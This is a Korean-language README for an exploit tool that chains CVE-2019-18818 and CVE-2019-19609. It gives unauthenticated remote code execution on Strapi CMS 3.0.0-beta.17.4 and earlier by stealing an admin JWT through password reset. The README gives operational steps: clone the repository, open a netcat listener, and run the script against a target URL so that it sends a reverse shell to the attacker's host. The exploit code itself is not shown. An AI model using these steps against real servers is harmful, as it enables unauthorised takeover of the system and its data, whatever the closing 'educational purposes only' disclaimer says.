
CVE-2019-18818 및 CVE-2019-19609를 혼합하여 Strapi CMS에서 인증 없이 원격 코드 실행을 수행하는 익스플로잇 스크립트.
Strapi CMS에서 인증되지 않은 원격 코드 실행을 위해 CVE-2019-18818과 CVE-2019-19609를 결합한 익스플로잇 스크립트입니다.
이 스크립트는 Strapi CMS 버전 3.0.0-beta.17.4 이하에서 발견된 취약점을 악용하여 인증되지 않은 원격 코드 실행을 가능하게 합니다.
익스플로잇은 먼저 비밀번호 재설정 취약점을 이용해 관리 사용자의 JSON 웹 토큰(JWT)을 획득합니다. 그런 다음 이 토큰을 사용하여 악성 페이로드를 Strapi CMS에 전송하고, 공격자 머신으로 리버스 셸을 트리거합니다.
저장소 클론:
git clone https://github.com/Hackhoven/Strapi-RCE.git
디렉터리로 이동
cd Strapi-RCE/
Netcat 리스너 설정
nc -nlvp <LPORT>
대상 URL, 로컬 호스트 IP 주소, 로컬 호스트 포트를 인수로 스크립트 실행
python3 strapi-rce.py <TARGET_URL> <LHOST> <LPORT>
이 스크립트는 교육 목적으로만 제공됩니다. 저자는 불법적이거나 비윤리적인 활동에 이 스크립트를 사용하는 것을 용납하거나 지지하지 않습니다. 이 스크립트는 합법적인 보안 연구 또는 CTF 환경에서만 사용해야 합니다. 사용에 따른 책임은 본인에게 있습니다.
제작: Hackhoven